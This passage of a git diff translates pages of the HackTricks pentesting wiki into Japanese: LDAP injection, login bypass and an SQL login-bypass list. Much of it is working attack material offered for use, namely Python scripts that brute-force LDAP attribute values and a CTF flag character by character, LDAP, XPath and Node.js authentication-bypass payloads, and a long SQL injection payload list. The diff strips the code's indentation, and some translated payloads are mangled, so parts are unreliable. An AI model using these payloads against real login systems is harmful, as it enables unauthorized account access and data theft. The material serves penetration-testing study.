= {'login':query, 'password':'bla'} - r = requests.post(url, data=data, proxies=proxy) - sys.stdout.write(f"\r{attribute}: {value}{char}") - #sleep(0.5) #Avoid brute-force bans - if "Cannot login" in r.text: - value += str(char) - break +value = "" +finish = False +while not finish: +for char in alphabet: #In each possition test each possible printable char +query = f"*)({attribute}={value}{char}*" +data = {'login':query, 'password':'bla'} +r = requests.post(url, data=data, proxies=proxy) +sys.stdout.write(f"\r{attribute}: {value}{char}") +#sleep(0.5) #Avoid brute-force bans +if "Cannot login" in r.text: +value += str(char) +break - if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value - finish = True - print() +if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value +finish = True +print() ``` +#### **特殊なブラインドLDAPインジェクション("\*"なし)** -#### **Special Blind LDAP Injection (without "\*")** +------------------------------------------------------------------------ +##### **Introduction** + +------------------------------------------------------------------------ + +LDAP (Lightweight Directory Access Protocol) is a protocol used to access and manage directory information services. It is commonly used for authentication and authorization purposes in web applications. + +LDAP injection is a type of attack where an attacker can manipulate LDAP queries to retrieve unauthorized information or perform unauthorized actions. In a blind LDAP injection attack, the attacker does not receive any error messages or visible responses from the server, making it more difficult to detect. + +In this section, we will discuss a special blind LDAP injection technique that does not require the use of the wildcard character "\*". + +------------------------------------------------------------------------ + +##### **Exploiting Blind LDAP Injection** + +------------------------------------------------------------------------ + +Blind LDAP injection attacks can be used to extract sensitive information from an LDAP server. The attacker can craft malicious input that alters the behavior of the LDAP query and retrieves unauthorized data. + +To exploit blind LDAP injection without using the wildcard character "\*", the attacker can use the following technique: + +1. Identify the vulnerable input: The first step is to identify the input that is vulnerable to LDAP injection. This can be any user-controlled input that is used in an LDAP query. + +2. Determine the LDAP query structure: The attacker needs to understand the structure of the LDAP query in order to manipulate it. This can be done by analyzing the application's code or by intercepting and analyzing the network traffic. + +3. Use boolean-based blind techniques: Instead of using the wildcard character "\*", the attacker can use boolean-based blind techniques to infer information from the LDAP server. This involves crafting input that will result in a true or false condition, depending on the injected payload. + +4. Exploit the vulnerability: Once the attacker has crafted the malicious input, they can inject it into the vulnerable parameter and observe the behavior of the LDAP query. By carefully analyzing the responses from the server, the attacker can extract sensitive information. + +------------------------------------------------------------------------ + +##### **Preventing Blind LDAP Injection** + +------------------------------------------------------------------------ + +To prevent blind LDAP injection attacks, it is important to implement proper input validation and sanitization techniques. Here are some best practices to follow: + +- Input validation: Validate and sanitize all user-controlled input before using it in an LDAP query. This can include input from forms, cookies, headers, or any other user-supplied data. + +- Parameterized queries: Use parameterized queries or prepared statements to build LDAP queries. This helps to prevent the injection of malicious input. + +- Least privilege principle: Ensure that the LDAP user account used by the application has the least privileges necessary to perform its intended functions. This can help limit the impact of a successful LDAP injection attack. + +- Regular security updates: Keep the LDAP server and any related software up to date with the latest security patches. This helps to mitigate any known vulnerabilities that could be exploited. + +By following these best practices, you can significantly reduce the risk of blind LDAP injection attacks and protect your application's sensitive data. ```python #!/usr/bin/python3 @@ -213,27 +252,34 @@ alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" flag = "" for i in range(50): - print("[i] Looking for number " + str(i)) - for char in alphabet: - r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char) - if ("TRUE CONDITION" in r.text): - flag += char - print("[+] Flag: " + flag) - break +print("[i] Looking for number " + str(i)) +for char in alphabet: +r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char) +if ("TRUE CONDITION" in r.text): +flag += char +print("[+] Flag: " + flag) +break ``` +### Google ドークス -### Google Dorks +Google ドークスは、Google 検索エンジンを使用して、特定の情報を見つけるための特殊な検索クエリです。これは、ウェブサイトやオンラインデータベースに対して効果的な情報収集手法として使用されます。Google ドークスは、ウェブサイトの脆弱性やセキュリティの問題を特定するためにも使用されます。 +以下にいくつかの一般的な Google ドークスの例を示します。 + +- `site:`:特定のドメイン内で検索します。例えば、`site:example.com` は、example.com ドメイン内のすべてのページを検索します。 +- `intitle:`:特定のキーワードがタイトルに含まれるページを検索します。例えば、`intitle:login` は、ページのタイトルに "login" というキーワードが含まれるページを検索します。 +- `inurl:`:特定のキーワードが URL 内に含まれるページを検索します。例えば、`inurl:admin` は、URL 内に "admin" というキーワードが含まれるページを検索します。 + +これらのドークスを使用することで、特定の情報を見つけるための効果的な手段を得ることができます。ただし、個人情報や機密情報を検索する際には、法的な制約や倫理的な考慮事項に留意する必要があります。 ```bash intitle:"phpLDAPadmin" inurl:cmd.php ``` - -### More Payloads +### 追加のペイロード {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -241,10 +287,10 @@ intitle:"phpLDAPadmin" inurl:cmd.php ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/pentesting-web/login-bypass/README.md b/pentesting-web/login-bypass/README.md index 60dd0a305..4dd10c2a6 100644 --- a/pentesting-web/login-bypass/README.md +++ b/pentesting-web/login-bypass/README.md @@ -1,64 +1,63 @@ -# Login Bypass +# ログインバイパス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。 {% embed url="https://www.rootedcon.com/" %} -## **Bypass regular login** +## **通常のログインバイパス** -If you find a login page, here you can find some techniques to try to bypass it: +ログインページを見つけた場合、以下のテクニックを試してバイパスすることができます: -* Check for **comments** inside the page (scroll down and to the right?) -* Check if you can **directly access the restricted pages** -* Check to **not send the parameters** (do not send any or only 1) -* Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b` -* **Change content type to json** and send json values (bool true included) - * If you get a response saying that POST is not supported you can try to send the **JSON in the body but with a GET request** with `Content-Type: application/json` -* Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1` - * Nodejs will transform that payload to a query similar to the following one: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` which makes the password bit to be always true. - * If you can send a JSON object you can send `"password":{"password": 1}` to bypass the login. - * Remember that to bypass this login you still need to **know and send a valid username**. - * **Adding `"stringifyObjects":true`** option when calling `mysql.createConnection` will eventually b**lock all unexpected behaviours when `Object` is passed** in the parameter. -* Check credentials: - * [**Default credentials**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) of the technology/platform used - * **Common combinations** (root, admin, password, name of the tech, default user with one of these passwords). - * Create a dictionary using **Cewl**, **add** the **default** username and password (if there is) and try to brute-force it using all the words as **usernames and password** - * **Brute-force** using a bigger **dictionary (**[**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)** +* ページ内に**コメント**があるかどうかを確認します(下にスクロールして右に移動しますか?) +* 制限されたページに**直接アクセス**できるかどうかを確認します +* パラメータを**送信しないで**(何も送信しないか、1つだけ送信する) +* **PHPの比較エラー**をチェックします:`user[]=a&pwd=b`、`user=a&pwd[]=b`、`user[]=a&pwd[]=b` +* コンテンツタイプをjsonに変更し、json値(bool trueを含む)を送信します +* POSTがサポートされていないという応答を受け取った場合、`Content-Type: application/json`でGETリクエストでJSONを本文に送信してみることができます +* Node.jsの潜在的なパースエラーをチェックします([**こちら**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)を参照):`password[password]=1` +* Node.jsは、このペイロードを次のようなクエリに変換します:`SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` これにより、パスワードの部分が常にtrueになります。 +* JSONオブジェクトを送信できる場合、`"password":{"password": 1}`を送信してログインをバイパスできます。 +* このログインをバイパスするには、**有効なユーザー名を知って送信する必要があります**。 +* `mysql.createConnection`を呼び出す際に`"stringifyObjects":true`オプションを追加すると、パラメータに`Object`が渡された場合に予期しない動作がすべてブロックされます。 +* 資格情報をチェックします: +* 使用されている技術/プラットフォームの[**デフォルトの資格情報**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) +* **一般的な組み合わせ**(root、admin、password、技術の名前、これらのパスワードのいずれかを持つデフォルトユーザー)。 +* **Cewl**を使用して辞書を作成し、**デフォルトの**ユーザー名とパスワード(あれば)を追加し、すべての単語を**ユーザー名とパスワード**として使用してブルートフォースを試みます +* より大きな辞書を使用して**ブルートフォース**する([**ブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)** -### SQL Injection authentication bypass +### SQLインジェクション認証バイパス -[Here you can find several tricks to bypass the login via **SQL injections**](../sql-injection/#authentication-bypass). +[**SQLインジェクション**](../sql-injection/#authentication-bypass)を介してログインをバイパスするためのいくつかのトリックをここで見つけることができます。 -In the following page you can find a **custom list to try to bypass login** via SQL Injections: +次のページでは、SQLインジェクションを介してログインをバイパスするための**カスタムリスト**を見つけることができます: {% content-ref url="sql-login-bypass.md" %} [sql-login-bypass.md](sql-login-bypass.md) {% endcontent-ref %} -### No SQL Injection authentication bypass +### No SQLインジェクション認証バイパス -[Here you can find several tricks to bypass the login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.** +[**No SQLインジェクション**](../nosql-injection.md#basic-authentication-bypass)を介してログインをバイパスするためのいくつかのトリックをここで見つけることができます。 -As the NoSQL Injections requires to change the parameters value, you will need to test them manually. +NoSQLインジェクションでは、パラメータの値を変更する必要があるため、手動でテストする必要があります。 -### XPath Injection authentication bypass - -[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass) +### XPathインジェクション認証バイパス +[**XPathインジェクション**](../xpath-injection.md#authentication-bypass)を介してログインをバイパスするためのいくつかのトリックをここで見つけることができます。 ``` ' or '1'='1 ' or ''=' @@ -74,11 +73,9 @@ As the NoSQL Injections requires to change the parameters value, you will need t admin' or ' admin' or '1'='2 ``` +### LDAPインジェクションによる認証バイパス -### LDAP Injection authentication bypass - -[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass) - +[ここでは、**LDAPインジェクション**を使用してログインをバイパスするためのいくつかのトリックを見つけることができます。](../ldap-injection.md#login-bypass) ``` * *)(& @@ -92,25 +89,22 @@ admin)(!(&(| pwd)) admin))(|(| ``` +### リメンバーミー -### Remember Me +もしページに「**リメンバーミー**」の機能がある場合、それがどのように実装されているかを確認し、他のアカウントを**乗っ取る**ために悪用できるかを調べてみてください。 -If the page has "**Remember Me**" functionality check how is it implemented and see if you can abuse it to **takeover other accounts**. +### リダイレクト -### Redirects - -Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information (codes, cookies...) if you redirect the user to your web. - -## Other Checks - -* Check if you can **enumerate usernames** abusing the login functionality. -* Check if **auto-complete** is active in the password/**sensitive** information **forms** **input:** `
-​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​[**RootedCON**](https://www.rootedcon.com/)はスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。 {% embed url="https://www.rootedcon.com/" %} @@ -118,10 +112,10 @@ Pages usually redirects users after login, check if you can alter that redirect ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?またはPEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** diff --git a/pentesting-web/login-bypass/sql-login-bypass.md b/pentesting-web/login-bypass/sql-login-bypass.md index 817f018bb..f29192fbb 100644 --- a/pentesting-web/login-bypass/sql-login-bypass.md +++ b/pentesting-web/login-bypass/sql-login-bypass.md @@ -1,26 +1,23 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-This list contains **payloads to bypass the login via XPath, LDAP and SQL injection**(in that order). - -The way to use this list is to put the **first 200 lines as the username and password.** Then, put the complete list in the username first and then in the password inputs while putting some password (like _Pass1234._) or some known username (like _admin_). +このリストには、**XPath、LDAP、およびSQLインジェクションを介してログインをバイパスするためのペイロード**が含まれています(この順序で)。 +このリストを使用する方法は、**最初の200行をユーザー名とパスワードとして**入力します。次に、完全なリストをユーザー名の入力欄に、その後パスワードの入力欄に入力しますが、パスワードには_Pass1234._のようなもの、または既知のユーザー名(_admin_のようなもの)を入力します。 ``` admin password @@ -251,237 +248,237 @@ admin' and substring(password/text(),1,1)='7 '=' 0'<'2 "=" -0"<"2 -') -") -')-- 2 -')/* -')# -")-- 2 -") # -")/* -')-(' -')&(' -')^(' -')*(' -')=(' -0')<('2 -")-(" -")&(" -")^(" -")*(" -")=(" -0")<("2 -'-''-- 2 -'-''# -'-''/* -'&''-- 2 -'&''# -'&''/* -'^''-- 2 -'^''# -'^''/* -'*''-- 2 -'*''# -'*''/* -'=''-- 2 -'=''# -'=''/* -0'<'2'-- 2 -0'<'2'# -0'<'2'/* -"-""-- 2 -"-""# -"-""/* -"&""-- 2 -"&""# -"&""/* -"^""-- 2 -"^""# -"^""/* -"*""-- 2 -"*""# -"*""/* -"=""-- 2 -"=""# -"=""/* -0"<"2"-- 2 -0"<"2"# -0"<"2"/* -')-''-- 2 -')-''# -')-''/* -')&''-- 2 -')&''# -')&''/* -')^''-- 2 -')^''# -')^''/* -')*''-- 2 -')*''# -')*''/* -')=''-- 2 -')=''# -')=''/* -0')<'2'-- 2 -0')<'2'# -0')<'2'/* -")-""-- 2 -")-""# -")-""/* -")&""-- 2 -")&""# -")&""/* -")^""-- 2 -")^""# -")^""/* -")*""-- 2 -")*""# -")*""/* -")=""-- 2 -")=""# -")=""/* -0")<"2-- 2 -0")<"2# -0")<"2/* -'oR'2 -'oR'2'-- 2 -'oR'2'# -'oR'2'/* -'oR'2'oR' -'oR(2)-- 2 -'oR(2)# -'oR(2)/* -'oR(2)oR' -'oR 2-- 2 -'oR 2# -'oR 2/* -'oR 2 oR' -'oR/**/2-- 2 -'oR/**/2# -'oR/**/2/* -'oR/**/2/**/oR' -"oR"2 -"oR"2"-- 2 -"oR"2"# -"oR"2"/* -"oR"2"oR" -"oR(2)-- 2 -"oR(2)# -"oR(2)/* -"oR(2)oR" -"oR 2-- 2 -"oR 2# -"oR 2/* -"oR 2 oR" -"oR/**/2-- 2 -"oR/**/2# -"oR/**/2/* -"oR/**/2/**/oR" -'oR'2'='2 -'oR'2'='2'oR' -'oR'2'='2'-- 2 -'oR'2'='2'# -'oR'2'='2'/* -'oR 2=2-- 2 -'oR 2=2# -'oR 2=2/* -'oR 2=2 oR' -'oR/**/2=2-- 2 -'oR/**/2=2# -'oR/**/2=2/* -'oR/**/2=2/**/oR' -'oR(2)=2-- 2 -'oR(2)=2# -'oR(2)=2/* -'oR(2)=(2)oR' -'oR'2'='2' LimIT 1-- 2 -'oR'2'='2' LimIT 1# -'oR'2'='2' LimIT 1/* -'oR(2)=(2)LimIT(1)-- 2 -'oR(2)=(2)LimIT(1)# -'oR(2)=(2)LimIT(1)/* -"oR"2"="2 -"oR"2"="2"oR" -"oR"2"="2"-- 2 -"oR"2"="2"# -"oR"2"="2"/* -"oR 2=2-- 2 -"oR 2=2# -"oR 2=2/* -"oR 2=2 oR" -"oR/**/2=2-- 2 -"oR/**/2=2# -"oR/**/2=2/* -"oR/**/2=2/**/oR" -"oR(2)=2-- 2 -"oR(2)=2# -"oR(2)=2/* -"oR(2)=(2)oR" -"oR"2"="2" LimIT 1-- 2 -"oR"2"="2" LimIT 1# -"oR"2"="2" LimIT 1/* -"oR(2)=(2)LimIT(1)-- 2 -"oR(2)=(2)LimIT(1)# -"oR(2)=(2)LimIT(1)/* -'oR true-- 2 -'oR true# -'oR true/* -'oR true oR' -'oR(true)-- 2 -'oR(true)# -'oR(true)/* -'oR(true)oR' -'oR/**/true-- 2 -'oR/**/true# -'oR/**/true/* -'oR/**/true/**/oR' -"oR true-- 2 -"oR true# -"oR true/* -"oR true oR" -"oR(true)-- 2 -"oR(true)# -"oR(true)/* -"oR(true)oR" -"oR/**/true-- 2 -"oR/**/true# -"oR/**/true/* -"oR/**/true/**/oR" -'oR'2'LiKE'2 -'oR'2'LiKE'2'-- 2 -'oR'2'LiKE'2'# -'oR'2'LiKE'2'/* -'oR'2'LiKE'2'oR' -'oR(2)LiKE(2)-- 2 -'oR(2)LiKE(2)# -'oR(2)LiKE(2)/* -'oR(2)LiKE(2)oR' -"oR"2"LiKE"2 -"oR"2"LiKE"2"-- 2 -"oR"2"LiKE"2"# -"oR"2"LiKE"2"/* -"oR"2"LiKE"2"oR" -"oR(2)LiKE(2)-- 2 -"oR(2)LiKE(2)# -"oR(2)LiKE(2)/* -"oR(2)LiKE(2)oR" -admin -admin'-- 2 -admin'# -admin"-- 2 -admin"# -ffifdyop -' UniON SElecT 1,2-- 2 -' UniON SElecT 1,2,3-- 2 -' UniON SElecT 1,2,3,4-- 2 -' UniON SElecT 1,2,3,4,5-- 2 -' UniON SElecT 1,2# -' UniON SElecT 1,2,3# -' UniON SElecT 1,2,3,4# -' UniON SElecT 1,2,3,4,5# -'UniON(SElecT(1),2)-- 2 -'UniON(SElecT(1),2,3)-- 2 +## SQL ログインバイパス + +以下は、SQL ログインバイパスのテクニックです。 + +- `'0"<"2` +- `')` +- `")` +- `')-- 2` +- `')/*` +- `')#` +- `")-- 2` +- `") #` +- `")/*` +- `')-('` +- `')&('` +- `')^('` +- `')*('` +- `')=('` +- `'0')<('2` +- `")-("` +- `")&("` +- `")^("` +- `")*("` +- `")=("` +- `0")<("2` +- `'-''-- 2` +- `'-''#` +- `'-''/*` +- `'&''-- 2` +- `'&''#` +- `'&''/*` +- `'^''-- 2` +- `'^''#` +- `'^''/*` +- `'*''-- 2` +- `'*''#` +- `'*''/*` +- `''=''-- 2` +- `''=''#` +- `''=''/*` +- `0'<('2'-- 2` +- `0'<('2'#` +- `0'<('2'/*` +- `"-""-- 2` +- `"-""#` +- `"-""/*` +- `"&""-- 2` +- `"&""#` +- `"&""/*` +- `"^""-- 2` +- `"^""#` +- `"^""/*` +- `"*""-- 2` +- `"*""#` +- `"*""/*` +- `""=""-- 2` +- `""=""#` +- `""=""/*` +- `0"<"2"-- 2` +- `0"<"2"#` +- `0"<"2"/*` +- `')-''-- 2` +- `')-''#` +- `')-''/*` +- `')&''-- 2` +- `')&''#` +- `')&''/*` +- `')^''-- 2` +- `')^''#` +- `')^''/*` +- `')*''-- 2` +- `')*''#` +- `')*''/*` +- `')=''-- 2` +- `')=''#` +- `')=''/*` +- `0')<('2'-- 2` +- `0')<('2'#` +- `0')<('2'/*` +- `")-""-- 2` +- `")-""#` +- `")-""/*` +- `")&""-- 2` +- `")&""#` +- `")&""/*` +- `")^""-- 2` +- `")^""#` +- `")^""/*` +- `")*""-- 2` +- `")*""#` +- `")*""/*` +- `")=""-- 2` +- `")=""#` +- `")=""/*` +- `0")<("2-- 2` +- `0")<("2#` +- `0")<("2/*` +- `'oR'2` +- `'oR'2'-- 2` +- `'oR'2'#` +- `'oR'2'/*` +- `'oR'2'oR'` +- `'oR(2)-- 2` +- `'oR(2)#` +- `'oR(2)/*` +- `'oR(2)oR'` +- `'oR 2-- 2` +- `'oR 2#` +- `'oR 2/*` +- `'oR 2 oR'` +- `'oR/**/2-- 2` +- `'oR/**/2#` +- `'oR/**/2/*` +- `'oR/**/2/**/oR'` +- `"oR"2` +- `"oR"2"-- 2` +- `"oR"2"#` +- `"oR"2"/*` +- `"oR"2"oR"` +- `"oR(2)-- 2` +- `"oR(2)#` +- `"oR(2)/*` +- `"oR(2)oR"` +- `"oR 2-- 2` +- `"oR 2#` +- `"oR 2/*` +- `"oR 2 oR"` +- `"oR/**/2-- 2` +- `"oR/**/2#` +- `"oR/**/2/*` +- `"oR/**/2/**/oR"` +- `'oR'2'='2` +- `'oR'2'='2'oR'` +- `'oR'2'='2'-- 2` +- `'oR'2'='2'#` +- `'oR'2'='2'/*` +- `'oR 2=2-- 2` +- `'oR 2=2#` +- `'oR 2=2/*` +- `'oR 2=2 oR'` +- `'oR/**/2=2-- 2` +- `'oR/**/2=2#` +- `'oR/**/2=2/*` +- `'oR/**/2=2/**/oR'` +- 